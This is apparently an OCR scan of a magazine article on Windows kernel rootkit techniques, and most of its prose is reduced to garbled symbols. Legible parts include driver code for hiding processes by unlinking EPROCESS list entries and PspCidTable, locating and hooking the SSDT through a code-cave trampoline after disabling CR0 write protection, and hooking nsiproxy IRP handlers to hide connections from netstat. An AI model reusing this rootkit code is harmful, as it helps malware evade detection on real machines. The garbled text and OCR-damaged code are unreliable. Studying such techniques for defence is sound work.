UINT64 ProcessQuotaUsage[2];
UINT64 ProcessQuotaPeak[2];
UINT64 PeakVirtualSize;

UINT64 VirtualSize;

LIST_ENTRY SessionProcessLinks;
PVOID ExceptionPortData; :

EX_FAST_REF Token;
UINT6L MmReserved;

FAT L ZERh2 SYS L L4 Y S s o Isgs. ¥ s S X

~ A > ~

Sk

r 1 ¥ 1 - «UniueProcessld/ActiveProcessLinks sl ® | 4 1~ skq L st s 4 %x 1s

pBocess control blockpch. xsx « % & X o« 08 7 X { & ]l xId e 0S5 Xy

N

{ x ETHREAD + WKPROCESS* _ 1 4" L %5 ¥ X xs ¢}

~ A a

Header:
rofilelistHead;
X si ” X X Cs ” X 5|, X irectoryTableBase;
1 14x4 0 BT A A, A AL x4 8 B ONCH! St
ocessLock;
» 4 ocessTimerDelay
Y ~ A
epFreezeStartTime
_EX Affinity;
AffinityPadding[12];
L ReadylistHead;
Y 'i x )ﬁ ‘I -” ’” RY SwaplListEntry;
- Y ActiveProcessors;
. . ) ActiveProcessorsPadding[12];
{41 s« F H . threadst - 1 TWreadListHead
< ~ ~ ~ t ProcessFlags;
i . . . t ActiveGrjou{JsHask‘
11 L s context switcheg - x _CoHntextSwitch 1 o i
~ ~ r QuantumReset;
c Visited;
) . ss =, s i r Flags;
1 ~UOKernel Modet 1 1 1 s - 17 sKérnelTime i ey
ThreadSeedPadding[12];
A s . sx | XX o« IdealProcessor[20];
OI -I L L ~ ] +‘ v-I IdealProcessorPadding[12];
IdealNode[20];
U M def _I 1 S ' ss _|= Sl% T IdealNodePadding[12];
ser (0] L " N . eriime ﬂ IdealGlobalNode;
1
StackCount
rocessListEntry;
CycleTime;
ContextSwitches;

ID SchedulingGroup;
T FreezeCount;

a

T KernelTime;

T UserTime;

T ReadyTime;
UserDirectoryTableBase;
AddressPolicy
Spare[71];
InstrumentationCallback;

SecureState;
KernelWaitTime;
UserWaitTime
EndPadding
* PA
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e vsd X L sp 41 x4 § X ] EPROCESS * s _ s L x 4 *ETHREAD
LS A X ke Y™ J 4w £ x8 x 2 kX, {1 KTHREAD " * . ¥ 1 EHTREAD
® . T F ¢4 k"4 4K e YUSTENTRY _ d1 J 4L s s

s 4 oS 4T oh B4 XRD=0S _ 4 T JdAdg sTYSYx L ¥ s | x

~ ~ ~

~ S . XX PghitialSystemProcess » ~ X _ A8 S X S ]l xs 7 Iy s 1 x

v o~ o~ v

Xernel Programming: *x 4 1 ":xxx o .x 2 0¥ s ntddk.h, * x « %

NTKERNELAPI PEPROCESS PsInitialSystemProcess;

Descriptor Module List (MDL)

An MDL is a structure that represents informatiorffgiWindows internalg - «~ « _s”".. | y{s s,

mr 4 _ x4 A T xs. 4 X X T I MDL-Y xdg buffer in physical memory

reack~ X ST X L SIXO{X ] Lox {IOx4X x is k{8 XN X F 0 5 47 T s NIDL
@nly

Yréadonlys X ST X . KESRX 4 D [ 4 xS v BMDEX | x Lo .

IgAllocateMdl Y] L« tsxl o x «f « ¥ x { LNDLS .~ x T x 0 X QO Js{sn 1 v

~ ~

T x . Sbase addregs i+ 1 X x4 147" X A AT cBH 1, par oy XS X 08

nonpaged™ X 5 ; Sx § | x i@ x s ] x Oox ] Gs Xy X Il 4 X 1, { XS

1o o pTE L cdlx s ">

1117 s x Ll s 7§ X s S 2 X {0 L XX s T Xy

~ ~ -~

SS v L 5.5 T H

v { s « G X s | X s T S L] XLt XX 0 GXS X L X, ] L Y svqL

KernelMod&™ * ~s] 4% s« 17 XMDLit - - L * ¥ § ¢ x MinProbeAndLockPages
Pl T XS RS IS WAL 5 DT X L 8 s x Lslyse o xy x{ 1 xFsérModex -

loReadAccess , 11X H *I7s] aBtess violation * loWriteAccess _~ *  BX ". X -

O X el X 7T XIS x s §f ., ]« X

DX i+ X« F”AS_X"'”)C,S'L"FTX”SJ'F‘LLX,X',|_1af-",,,:“‘)S",.L'lx'l,.(bA

~ v o~

x & | x MEnMapLockedPagesSpecifyCache * @ Xs . s« Xs"0. « %3 s . {1 |

~ ~

T Tl T LT T R es) Sy s T T x (T L] MBLIE Xkl - 1S L0 X

MmProtectMdISystemAddress ~ ¢ 7 % ¥ f 33 48" {4 ¥ Bl 0 x "7 i { X { s

~ > ~

PAGE_READWRITE Y3 .0 J{S,0_ S « $Y $ 40 «wMDLE © I 1 % <

~

X TS LXK L A XS 4oL X AT "X e KRS TIX L ] S 8 s T G

148 . X
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KernelModuleDescriptor = IoAllocateMdl(TrampolineSection,
izeof(DummyTrampoline), ©, ©, NULL);

MmProbeAndLockPages(RernelModuleDescrlptor KernelMode, IoReadAccess);

KernelMapping = MmMapLockedPagesSpec1FyCache(KernelModuleDescriptor,
KernelMode, MmCached, NULL, FALSE, NormalPagePriority);

Status = MmProtectMdlSystemAddress(KernelModuleDescriptor, PAGE_READWRITE);

MmUnmapLockedPages(KernelMapping, KernelModuleDescriptor);
MmUnlockPages(KernelModuleDescriptor);
IoFreeMdl(KernelModuleDescriptor);

PspCidTable
1. % t4ld4crsis i< <! _ _  _EPROGESS i+ H” % " s:
Txy ] Fd 4 s s 4 YL Fd414. <« ¢ 47 x 07 Wihdows_
1] SHANDLE TABLE sfiuct. 4 * . _ = x . . P%pCidTablex :

typedef struct _HANDLE_TABLE {
PVOID p_hTable;
PEPROCESS QuotaProcess;
PVOID UniqueProcessld;
EX_PUSH_LOCHandleTableLock [ 4];
LIST ENTRY HandleTableList;
EX PUSH_LOCHandleContentionEvent;
PHANDLE_TRACE_DEBUG_|BeBuginfo;

DWORD ExtralnfoPages;

DWORD FirstFree;

DWORD LastFree;

DWORD NextHandleNeedingPool;

DWORD HandleCount;

DWORD Flags;

O PIDX L x| -~ ¢ EPROCESS st~ 11 " v 1L B s ¢ s

- PspCidTabk® - _ 1 _ , 1 1L s s PsLookupProcessByPrdcessid, _ | CoXoL

+ 1+~ EPROCESS @+« s.46¢1_x

SSDT table

T N K X A nd A e {7 X T X gystem service descriptor tabte

~ ~

T~ X » % ¢ 9 X gyscamilx““ X X S v {1 .. S S v+ S X o X" X
X LT NS, X p 4 iS5 «S{ L S syscallt ¢ ! x i+« X1 1NtCreateFile
1 ousxy X x frebalves | S{Xd o X L K X 04, L Xso | Lhandlent
SP | e ST LS8 X4 s
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Ms _ Xl ™o hlgde cxs{{sy X {s { S HXFHI1x . 5 {SSDE® : ~ 1 -
" ¥ J .43 s EPROCESS

PE S KRS O s A s X ] ax K] _lid s
" 1% 4 *@AssL * teference s x s | x pattern scanning- -~ ¢ X 9 447 < x

v ~ ~ A a a

~

a

dKeServiceDescriptorTable . 3 " - X

YR ISl il e XS RS w X K4St

64 - bit
On 64-bit however, it is not exported anymore. The only trick | know to go around it goes like this:

1. Get the address of nt!KeSystemCall64.
2. Increase that address until you hit a specific bytes sequence "0x4¢/0x8d/0x15" - hitting it means that you are in the
nt!KiSystemServiceRepeat which has the following definition.
0: kd> u nt!KiSystemnServiceRepeat
KiSystemServiceRepesat :
£806'2586b684 [4cB8d18)fS5f13800 lea r10, [nt1KeServiceDescriptorTable (f££f£806° 25bfa880)

nt!

fEfE ]
fff££806° 2586b68b 4c8dldee?23700 lea rll, [nt!KeServiceDescriptorTableShadow (f££££806° 25be2980))
f££££806°2586b692 £7437880000000 test dword ptr [rbx+78h].80h

f££££806°2586b699 7413 je nt |KiSystemServiceRepeat+0x2a (fff££806° 2586bbae)
ff£££806°2586b69b £7437800002000 test dvord ptr [rbx+78h]),200000h

f££££806°2586bka2 7407 je nt |KiSystemServiceRepeat+0x27 (ff£££806° 2586b6ab)
fff££806°2586bbad 4cB8d1dS5733700 lea rll, [nt!KeServiceDescriptorTableFilter (ff£ff£806° 25be2al0)]
fif

f£806°2586bbab 4d8bd3 nov r1l0,r11

As you may see, this function is referring to the ServiceDescriptorTable.

3. Convert relative address absolute address.
Implementation

PULONGLONG GetSSDT() d;
{
ULONGLONG KiSystemCall64 = _ readmsr(@xCo800882); // Get the address of nt!KeSystemC
ULONGLONG KiSystemServiceRepeat = @;
INT32 Limit = 4096;

for (int i = @; 1 < Limit; i++) { // Increase that address until you
if (*(PUINT8)(KiSystemCallé4 + i) == @x4C
&8& *(PUINT8)(KiSystemCallé4 + i + 1) == @x8D
&% *(PUINT8)(KiSystemCall4 + i + 2) == 8x15)

{
KiSystemServiceRepeat = KiSystemCallé4 + i;
DbgPrint("KiSystemCall64 %p \r\n", KiSystemCallé4);
DbgPrint("KiSystemServiceRepeat %p \r\n", KiSystemServiceRepeat);
// Convert relative address to absolute address
return (PULONGLONG) (*(PINT32)(KiSystemServiceRepeat + 3) + KiSystemServicef
}
¥
return @;
¥
< >
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M Fevsh Xg8X

typedef struct _SYSTEM_SERVICE_TABLE {
PVOID ServiceTableBase;
PVOID ServiceCounterTableBase;

ULONG6MNumberOfServices;
PVOID ParamTableBase;
} SYSTEM_SERVICE_TABLE, *PSYSTEM_SERVICE TABLE

~ ~

LS 4 s X 0 {1151 .« s ServiceTableBas&SDT tabfe L s " X J &

~

1~ OPULONG casting: * _~ 14X cxXe 9 1 - _ ¥l )~ foxsp ) Thx X p§ b ]

PO N T oxeyx¥s X X

TV dedme ! xevq%s® x T4 g d s X | sx X xfx] 5 sy ¢ § | LIHEH
17X 1TSIHUSSDRE L 4 . *%x I« syStemspacd : 4 4L X s ks x

s x{s"sydlative offseBs L X § 4 + ' X XSOU R4 ont | xqv. X Ises | { _Tx]7 x

06 1 _nd, ~ shiftright: x 1 4 x A

~ A

Syscall 0x1
user space
kernel space
- KiServiceTable KiServiceTable + - Kernel Routines
(0x1 Routine Offset >>> 4) 1
—> 0x1 Routine Offset » 1 Routine Absolute Address |
0x2 Routine Offset 2 Routine Absolute Address
Routine Offset Routine Absolute Address
0xN Routine Offset N Routine Absolute Address
YRP major function table
s " % s Sjfput request packemlRPT " x: s 4 $ « .7 A" d . XA A N8

/O 1 11+ _ "IQCTL x * o X4 4 AMRP+rd 4 | Lon™  Hom 1 b d s ¥
F 4.1 _+d4.5% 8 x] , I ReviceloControinapirt - ~ ¢ » * {1 {1..!_IOCTLGontrol

~ S

Y x \RBs s " x:vtl_1\|_,:§;|-|i,,|_lst L

>

ce H X244 BRP major table |1 x © X< ! "1 major function code 1
IRP_MJ_DEVICE_CONTROL
X s x I xSt 4 As. W4 FAHY X s. « 1 Js TWOCTL number 1

major function

I/0 buffers
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"L ~ %, 9% 7" §4{9Q DriverEntrys 4 x _ L I~ * {4 . ks | ¥ 4RP major tables
x €ss LD T L ey o ¥ OE x40 4, r v cXdss L X IDRIVER_OBJECT

~ ~ ~

DB K AN XX s X0 KA xS s

v o~ - ~

Y b4« o4 Hmacro » S wdmh, X xio X e x4 K P ds L s

v v o~V ~ ~

#define IRP_MJ_CREATE 0x009
#define IRP_MJ]_CREATE_NAMED_PIPE 0x01
#define IRP_MJ]_CLOSE 9x02
#define IRP_MI]_READ 9x03
#define IRP_MI_WRITE 0xe4
#define IRP_MJ_QUERY_INFORMATION 9x85
#define IRP_MJ]_SET_INFORMATION 0x06
#define IRP_MI_QUERY_EA 0xe7
#define IRP_MJ_SET_EA 0x08
#define IRP_MJ_FLUSH_BUFFERS 0x09

#define IRP_MJ_QUERY_VOLUME_INFORMATION ©x@a
#define IRP_MJ_SET VOLUME_INFORMATION  ©x@b

#define IRP_MJ_DIRECTORY CONTROL @x0c
#define IRP_MJ_FILE_SYSTEM CONTROL @xed
#define IRP_MJ_DEVICE_CONTROL @x0e
#define IRP_MJ_INTERNAL DEVICE_CONTROL ©x@f
#define IRP_MJ_SHUTDOUN ox10
#define IRP_MJ_LOCK_CONTROL ox11
#define IRP_MJ_CLEANUP ox12
#define IRP_MJ_CREATE_MAILSLOT ox13
#define IRP_MJ_QUERY_SECURITY ox14
#define IRP_MJ_SET_SECURITY @x15
#define IRP_MJ]_POWER x16
#define IRP_MJ_SYSTEM_CONTROL ox17
#define IRP_MJ_DEVICE_CHANGE 0x18
#define IRP_MJ_QUERY_QUOTA 0x19
#define IRP_MJ_SET_QUOTA xla
#define IRP_MJ_PNP ox1b
#define IRP_MJ_PNP_POWER IRP_MJ_PNP // Obsolete....
#define IRP_MJ_MAXIMUM_FUNCTION ox1b

DPGAPC

AT XX R ST KT AT ASL AT 1% e RS sx o T L
Jodsxp o is s, s o Xxdbxy o s o 4l i3 s x o x b 447401 )DPG@ APC
Windows™ 4 L "X R X R S L s Y A | Xe S

Xl d L T g s X XX T XX g Xs o X APCSE o o« X
AR XX LD Ls X threads % L AR ok F % A oS K T o 1T X
FS L X XA, NP rd v 3T 0 5% L b d ) 1 HAPC. 4 s o 4 XX {8 s

X s O fusxp 41w o xS 4 X x X 4 T e A 4 e Haysx xS 4 X
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x ol X, S 34 L ossL 9.0 4 48, X x 1L ¢ % sprocess injectionc W4 . XD L
Cxared X% A x st s KTHREABD | x 2% o x ¥ss | KéStackAttachProcess
@pcState s T X 11, 17" X

RN A | . -|I‘x>><2v-|l AL x| X d LiSXp, ~=,Z‘DP@[~ ~ #S% A Ix & x " yxDBPC

~

1 md 1T Tr PG F 4 XX 0 0, b A s x o DP@ - 4o~ 4 x X 40T HL

A~ v ~ ~

LS X, s 1 i WAl 8 O X F LTI R % 0S A s s

@A K d T Xyt s ] x

~ < Tvo~

1L s Windows Kerngt = 4 **sxi T x 4 4 "IxxcqLvLxsyp 4 7 S0 4 L] 8 .
R PP T SR P S R S A BN SRR R EO L S S [ SN2 ¥ 1 I N S

D« DX s 5T R L e TS I B | fiesi] s

EPROCESS unlink

¢

17X W WX v fldwsilse o849 s $_«-{SEPROCESSTistiZ " H{ . _
Fd XA X {4 s EIST ENTRY: 1] 4«5 x "o d 0 ]~ L s

Lo e TesdLs XA posties, T B X D x4 ossi] D ] @Y LTSS,
Flinke 1 ~ &« x 7 L x & $ 1 sci BIST ENTRY, _ ¢ _ ¢#d+~ « XY ., Bl {8 s
4> 0sc: Blinks ¢ ¥ X% 0§ 394 s BIST ENTRYL _ 4%« _ ¢

~

rd x s

¥ olalxx e L X 44 B s s

EPROCESS EPROCESS EPROCESS
KPROCESS KPROCESS KPROCESS
LIST_ENTRY { LIST_ENTRY { LIST_ENTRY {
FLINK - FLINK — P FLINK
BUNK } BUNK } BUNK }
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S process: :DKHideProcess(UL(

{TRY* CurrentlList = NULL;
ST_ENTRY* PreviousList = NULL;
* NextList = NULL;
CESS CurrentProcess = (PACTE”ROCESS)PsInitialSystemProcesﬂ;
RY* LastProcessFlink = &CurrentProcess->ActiveProcessLinks;

PreviousList = LastProcessFlink;

CurrentList = PreviousList->Flink;

CurrentProcess = (PACTEPROCESS)((ULONG6U)CurrentList - offsetof(struct _ACTEPROCESS,
ActiveProcessLinks));

NextList = CurrentList->FLlink;

while (Currentlist != LastProcessFlink) {
if ((ULONG6L)CurrentProcess->UniqueProcessId =

PreviousList->Flink = NextList;

NextList->Blink = PreviouslList; -
ProcessHide.AddToHidden((PEPROCESS)CurrentProcess);

DbgPrintEx(®, O, "KMDFdriver process - HideProcess(DKOM), Found process to hide (%Lllu)\n"
CurrentList->Blink = CurrentlList;

CurrentList->Flink = Currentlist;

return STATUS_SUCCESS;

PreviousList = CurrentlList;

CurrentList = NextList;

NextList = CurrentlList->Flink;

CurrentProcess = (PACTEPROCESS)(( G6U)CurrentList - offsetof(struct _ACTEPROCESS,
ActiveProcessLinks));

}

DbgPrintEx(@, ©, "KMDFdriver process — HideProcess(DKOM), Did not find process to hide (%llu)\n",
1);
Yid
return STATUS_NOT_FOUND;

}

return STATUS_SUCCESS;

LKy A A s Hslwl” w3 1% 4 P Dox ] X3Ess] 4 | stox | f X 45
1Z xox XA e 4 7 el x s Ve D As4 4% 8 T < . a4 X x .
®spCidTabte - x {Lsxg]™* s & . XX

~

PspCidTable unlink

XoAx x A Hx] 44 $% 145 LI FEPROCEBS: _ 4 o w »X L ™4 £ K T 10X
L _EPROCEBS -~ * {1 +.1!" 1 % RsHookupProcessByProcessld x : . s PspCidTable
Y x Xsq |1 % ] . % PspCidTabl { 4 L5+ * Us | DhIK $4 1L s s
EPROCESSES _ 1 _“-x*_ d 4% 18" . & s . ¥ gPspCidTable © * x v
11040 x « «wxed ¥d 4 L shandlgt -~ x . s X1, ¢ ExDestroyHandleA _ 1 x L xdy

L " . «'S
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A XA e s SE s X TS ] ] sE X TS Sl e s gy
Y4 L S XYIYas 5 o om F X4 I3 Lo s
Lo_xs il Asy .S PspCidTable - * x &L ' v 8 x yeferencer Y xL f « 1 -y
ExDestroyHandleA sl x s + d ~ «
LP -~ ~ Stext sectiomt * ~¥Y 1 _ S L., T~ k. T, ]SS 4 XSy { s
x {1 Tixxxxoisy 4 5 { X« Pattern scanning x _ . Lx sl 4l s X

s: :GetTextSection0fSystemModuleADD|(
TextSectionBase = NULL;
== NULL) {

TextSectionBase = memory_helpers: :GetSectionHeaderFromName(
if (TextSectionBase == NULL) {
return NULL;

. Botext™):

if (7 ionSi NULL) {

*T TextSectionBase->Misc.VirtualSize;
1
J

return ( L : oss + TextSectionBase->VirtualAddress);

GetModuleBaseAddressADD( t *
ION SystemModulesInfo = NULL;
urrentSystemModule = NULL;
B
US Status = ZwQuerySystemInformation(SystemModuleInformation, ©, InfoSize, &InfoSize);
if (InfoSize == 0) {

DbgPrintEx(@, ©, "KMDFdriver GetModuleBaseAdd DD - did not return the needed size\n")
return NULL;

1
J

SystemModulesInfo = YSTE LE_I A JExAllocatePoolWithTag(PagedPool, InfoSize, 'MbAp')

if (SystemModulesInfo
DbgPrintEx(0, ©, er GetMo BaseAddressADD - ry for sy les information\n");
return NULL;

}

Status = ZwQuerySystemInformation(SystemModuleInformation, SystemModulesInfo, InfoSize, &InfoSize)
if (!NT_SUCCESS(Status)) {
DbgPrintEx(@, ©, "KMDFdriver GetModuleBaseAddres - query failed with status Ox%x\n", Status);
ExFreePool(SystemModulesInfo);
return NULL;

» (ULONG modulei = ©; modulei < SystemModulesInfo->ModulesCount; ++modulei) {
CurrentSystemModule = &SystemModulesInfo->Modules[modulei];
DbgPrintEx(0, ©, "KMDFdriver GetModu eAddressADD

H\\
if (_stricmp(CurrentSystemModule->ImageName, "\\SystemRoot\\Sy
ExFreePool(SystemModulesInfo);
return CurrentSystemModule->Base;

return NULL;

FosAx 1 drefrentegt ¢« X <4 1L ]” ~ v $ X 4 Spattern scanning X « @ *

1+ S L * 1sExDestroyHandleA v | ~s4*x* T-s{.. threaddd 1 ¢ SHANDLE Y _ €n

handle
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SSDT hooking

DX L as A XXTIN Ay s s s TS T L WS 4 X x%s  xsl14f 4 SSDT hooking
s * .,ss{ SSDT hooking _-I1x v xx SSPW& _ x d J 41 s14AFFHK 1% " 44 dBCn
Yoxo.ox o
KiServiceDescriptorTallie " ~ 1« 8 X « § 8 X1 s {1  *¥ WM
« | Osysealit ~ | -~ s 9K X Ll diaso X DX Lo t] s s

G Lx s X
MDLX _T1% "0¥,"C  F psqaxx’, ] 8 g x | IsX xS X 1% % {sx " cp

YA4ms desxoss L%, x] x Lk kL S ETCEX T X 18]

~

L WXL X 4s0d " L X4 % X patternscanning - S X @S 1 X% m

- A sl's |, sL_od e x "L“JLXinlhelhtI'Yﬁ S 14 fis{ . xso x| 5., ISy ™
BSDR L ~ 1 WX » * 4s0dd v~ |

L _resolvingt x 1 _ L ¥ ¢ x Jd. & . c6decave_  _ *x 1 X kY @
44 TAY x3d * 1 s, 1  relative offset: ~ ¢ _ ¥ x3SDW s L entryrt S L x S
L L YS8DT hook « *Lul x4"1slL X 1 s {1 _ XOXFFFFFFEF{ Ox0~ {.* 1 x x:{xX{ s |
L 1x™ . codecave + 1 -QXPFFFFFFEFS « X 1 7 »1»x & L Xollsxy s xso** s
ndskrnl.exet . X T ~ « X7 B L X | 7" p X { X X trampoliner ¥ X, X < { L

PspCidTable unlink ~ « H* ¥ . s

x €s;s § , xx *text sectiont X " ~ » Simaget , 1 %1 : Y codecave - + 1 . _ L
107 KL 8P LA XX & T ] s X s X XL Tex L B T !
X O X LS 4N st 1 s X ©F 4 8%, « Simagat L _text sectiont s ¢
X 7 98"l X o Smager , X T X X I Kiswdstubs 4 ¥4 0 W MDLD . ¢ X
X el X A X

o isel X " 1ho8ke © vk 4 U WX L 3 X d X X X gtubre x 4 dp.
P xx "ostybrs « 4, 48X stypm ! s . * 1 s 1 *rélative offsett entryrt
14X ¥ L ™ relative offseft ~ ¢ X4 X 4714 X ¥ o« 4 0 B U A LT
LL ¥ X G Xx Ossp x o 1.x% 4si vwopgentry-sSst 1~ X4, X 44 x "s

VX assslantryr x|~ TpxXOY o x X {ixx % Xgyscallg . _handlemt _

O 1 XX desqul A X % {718 X

sz x4y ST {*<1{ SSD® _. « WX MDYt _ _ ¢ _ B d LXX"]IBSPE * x f 4l &
X 7S X X TAINd I L osciFset o x panpaged” X oS P4.9s] o ko S so 7
S A 3L X, 1 A ¥YCGROXP ¢ X 4 - CRO 1, AWPL* 1 14X sl x X Jq x |4

Windows Kernel
www.DigitalWhisper.co.il
ocC H o ",%627 x { L ¥




Technologic

x"ok x " o@adonlyr s o 4 . XXOX{IXL D 4 OWPL 1 ] XssTx x|
1, WP 14 Xse x X {* bitvise andt _ _ - _ " writecr® readcrO- x o X %

A >

VMDB4 5 » X 1« 14 1. s

WP Write Protect (bit 16 of CR0) — When set, inhibits supervisor-level procedures from
writing into readonly pages; when clear, allows supervisor-level procedures to write into
read-only pages (regardless of the U/S bit setting; see Section 4.1.3 and Section 4.6). This
flag facilitates implementation of the copy-on-write method of creating a new
process (forking) used by operating systems such as UNIX.

31 0
P|CIN AfAlW N|E|T|E[M|P
‘G|D[w M P E|T|SIM|P|E

Control Register CRO

Legend (for 64-bit mode):
PE = Protected-mode Enabled (1=yes, 0=no)
PG = Paging Enabled (1=yes, 0=no0)
PAE = Page-Addressing Extensions (1=enabled, O=disabled)

L F s~ 1 enftrym x 7 relative offseft @ <X X ILJLX X X X JSVCs { | oS iLST v &
CREE WP s » S H 16" IS8 o " xT X, ] 6 s
M b~ 4™ L si]s

S roothook: :SSDT: :SystemServiceDTHook(PVOID HookingFu

E DummyTrampoline[] = { @x50,
oxus, oxbs, 0x00, Ox00, Ox60, 8x00, Ox00, 0x00, 0x00, Ox00,
oxus, ©x87, 0xed, ex2u,
exc3 };
TrampolineSection = NULL;
KernelMapping = NULL;
ID* OriginalFunction = NULL;
L KernelModuleDescriptor = NULL;
CurrentIRQL = NULL;
SyscallNumber = ©;
SSDTEntryValue = 0;
Status = STATUS_UNSUCCESSFUL;
iServiceTableBase = NULL;

if (HookingFunction == NULL || Tag == @) {

return STATUS_INVALID_PARAMETER;

*OriginalFunction = (P ))roothook: : SSDT: : CurrentSSDTFuncAddr(SyscallNumber) ;
31 &H ST (PVO

RtlCopyMemory(&Dum i (PVOID)
DbgPrintEx(e, o, rive < 1 functio lu) - %p\n", SyscallNumber, *OriginalFunction)

TrampolineSection = memory_helpers: :FindUnusedMemoryADD(KernelTextSection, TextSectionSize, (DummyTrampoline));
if (TrampolineSection == NULL) {

*OriginalFunction = NULL;
return STATUS_NOT_FOUND;
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DbgPrintex(®, @, *F river SSD1 hook, +ound code a (%Llu)\n", IrampolineSection, SyscallNumber)

KernelModuleDescriptor = IoAllocateMdl(TrampolineSection, si (DummyTrampoline), ©, ©, NULL);
if (KernelModuleDescriptor == NULL) {

*OriginalFunction = NULL;

return STATUS_MEMORY_NOT_ALLOCATED;
}
DbgPrintEx(®, ©, "KMDFdriver SSDT hook, module descriptor at %p (%lu)\n", KernelModuleDescriptor, SyscallNumber);
MmProbeAndLockPages(KernelModuleDescriptor, KernelMode, IoReadAccess);
KernelMapping = MmMaplLockedPagesSpecifyCache(KernelModuleDescriptor, KernelMode, MmCached, NULL, FALSE, NormalPagePriority)
if (KernelMapping == NULL) {

MmUnlockPages(KernelModuleDescriptor);

IoFreeMdl(KernelModuleDescriptor);

*0OriginalFunction = NULL;
return STATUS_UNSUCCESSFUL;

1

3
DbgPrintEx(®, ©, "KMDFdriver SSDT hook, mapped module to %p (%lu)\n", KernelMapping, SyscallNumber);

Status = MmProtectMdlSystemAddress(KernelModuleDescriptor, PAGE_READWRITE);
if (!NT_SUCCESs(Status)) {
MmUnmapLockedPages(KernelMapping, KernelModuleDescriptor);
MmUnlockPages(KernelModuleDescriptor);

*OriginalFunction = NULL;
return STATUS_UNSUCCESSFUL;

KiServiceDescriptorTable->ServiceTableBase;
CurrentIRQL = roothook::SSDT: :DisableWriteProtection();
RtlCopyMemory(KernelMapping, DummyTrampoline, siz (DummyTrampoline));
SSDTEntryValue = roothook: :SSDT: :GetOffsetFromSSDTBase( (ULONG64)TrampolineSection);
SSDTEntryValue &= OxFFFFFFFO;
SSDTEntryValue += KiServiceTableBase[SyscallNumber] & ©x6F;
KiServiceTableBase[SyscallNumber] = SSDTEntryValue;
roothook: : SSDT: :EnableWriteProtection(CurrentIRQL);

MmUnmaplockedPages(KernelMapping, KernelModuleDescriptor);
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DriverObject = general_helpers: :GetDriverObjectADD(&DriverName);
if (DriverObject == NULL) {
DbgPrintEx(@®, ©, "KMDFdriver IRP

unicode_helpers

, &DriverName);

return STATUS_UNSUCCESSFUL;

1
5

DbgPrintEx(0, ©,

OriginalFunction =

- Major function u of driver %wZ, driver object cannot be resolved\n"

FreeUnicode(&DriverName);

"K driver IRP hook — Driver object is at \n", DriverObject);

iverObject->MajorFunction

if (wcscmp(DriverName.Buffer, L"\\Driver\\tcpip")
TcpIpDispatchTable[M
DbgPrintEx(@, ©, "KMDFd IRP

tion, DriverObject->MajorFunction[

IsTcpIpHooked = TRUE;

}

else {

NsiProxyDispatchTable
DbgPrintEx(©, ©, "KMDFdriver IRP

IsNsiProxyHooked = TRUE;

}

InterlockedExchange64((volatil

(LOM
DbgPrintEx(6, O,

0

"KMDFdr IRP -
&DriverName

= DriverObject->MajorFunction[M
hook - Saved %lu of Tcplp.sys,

= DriverObject->MajorFunction[
hook - Saved %lu of NsiProxy

ct DriverObject—>MajorFunction[MajorFun D;

tion];

%) (&(DriverObject->MajorFunction[!

or function %lu of driver was

hooked su

CcC
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if Cqul 1)OriginalFunction == ( i Maj unction]))) {
DbgPrintEx(®, ©, "KMDFdriver IRP I r function drive failed, value = original\n"

ajorFur , &DriverName);
unicode_helpers: :FreeUnicode(&DriverName);
return STATUS_UNSUCCESSFUL;

3}
3

if Cul lookingFunction != (ULC 4)*(&(DriverObject—>MajorFunction[MajorFunction]))) {
DbgPrintEx(@, 0, {MDFdriver IRP - Major function %lu of driv Z failed, va %p) != hooking éunctionhn",
MajorFunc , &DriverName, *(&(DriverObject->MajorFunction tion])), OriginalFunction);
unicode_helpers: :FreeUnicode(&DriverName);
return STATUS_UNSUCCESSFUL;

}

unicode_helpers: :FreeUnicode(&DriverName);
return STATUS_SUCCESS;

XCpJUSIL L e s XI C  TT Lh x eE HSXIE 4 X s

~ ~

¥ 6L oxiof L@t ossod 2 4P X~ v uhetstat
17 s 1 x s | hEiproxy.sys * 1 1IRP_MJ DEVICE_CONTROL * |RPihook ' 1 du
Lo bd s o ©sifsfq o o xq9ss x TS, XSsop XS p XS X b, i " ] s
1% 11 © _netstat.exat Reverse Engineerinig~ Te ¥ % «1 © 0L H ¥ 7" .01 "%«
G | 4. 0% X s 50X 4§ xI{
L4 Y B s xy JI 4 Thys, xsos poxsos X0 X fss x4 s ]
2O x P xxld s s C{x 1 unput buffergt o Xy v g 1], s X

md - 8® . x 4 aBtechlos _ sl 1% 4« 14~ 1% 5 WInBBG
YowH~ E9 ] Ae¥d " x4 ] Lstruct

>

_NSI_STRUCTURE_
IG IpAddress;
n[52];

t _NSI_STRUCTURE_
AR Unknownl[40];
U ) Entries;

NumberOfEntries;
PNSI_STRUCT

IDOTEE ' xw 1 ~ > xsydispatch functions = x « X "ixx_ ¢ * . * 4 {0 Vv ®

A, IsSL DX XD X T AT S ok d A A KX ] S AT

S X1 ss XS5 X 4 LS X oL~ 180 X |RRE L _ CompletionRoutine

PTlw 40 exd - st Ade 4 d 4%, Windows* |« *  driverstacke s 1 * < J”

®  «s*i x,x ¥ xdriverstackt ~ ~ $ T X 4% XX ] LS £507

LV ~
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NTSTATUS irphooking: :EvilMajorDeviceControlNsiProxy(IN PDEVICE_OBJECT DeviceObject
IN PIRP Irp) {
ULONG IrpIoControlCode = ©;
PIO_STACK_LOCATION IrpStackLocation = NULL;
MajorDeviceControlNsiProxy MajorDeviceControlNsiProxyFunction = NULL;
PHP_CONTEXT FakeContext = NULL;
IrpStackLocation = IoGetCurrentIrpStackLocation(Irp);
IrpIoControlCode = IrpStackLocation->Parameters.DeviceIoControl.IoControlCode;
if (IrpIoControlCode == IOCTL_NSI_QUERYCONNS) {
if (IrpStackLocation->Parameters.DeviceloControl.InputBufferLength == NSI_PARAMS_LENGTH) {
FakeContext = (PHP_CONTEXT)ExAllocatePool(NonPagedPool, sizeof(HP_CONTEXT));
if (FakeContext != NULL) {
FakeContext->oldIocomplete = IrpStackLocation->CompletionRoutine;
FakeContext->o0ldCtx = IrpStackLocation->Context;
IrpStackLocation->CompletionRoutine = [irphooking: :EvilCompletionNsiProxy;
IrpStackLocation—>Context = FakeContext;
FakeContext->pcb = IoGetCurrentProcess();
if ((IrpStackLocation—>Control & SL_INVOKE_ON_SUCCESS)
== SL_INVOKE_ON_SUCCESS) {
FakeContext->bShouldInvolve TRUE;
H
else {
FakeContext->bShouldInvolve FALSE;

1
J

IrpStackLocation—>Control |= SL_INVOKE_ON_SUCCESS;

MajorDeviceControlNsiProxyFunction =
(MajorDeviceControlNsiProxy)NsiProxyDispatchTable[IRP_MJ_DEVICE_CONTROL];
return MajorDeviceControlNsiProxyFunction(DeviceObject, Irp);

'

KeStackAttachProcess(FakeContext->RequestingProcess, &ProcessApcState);
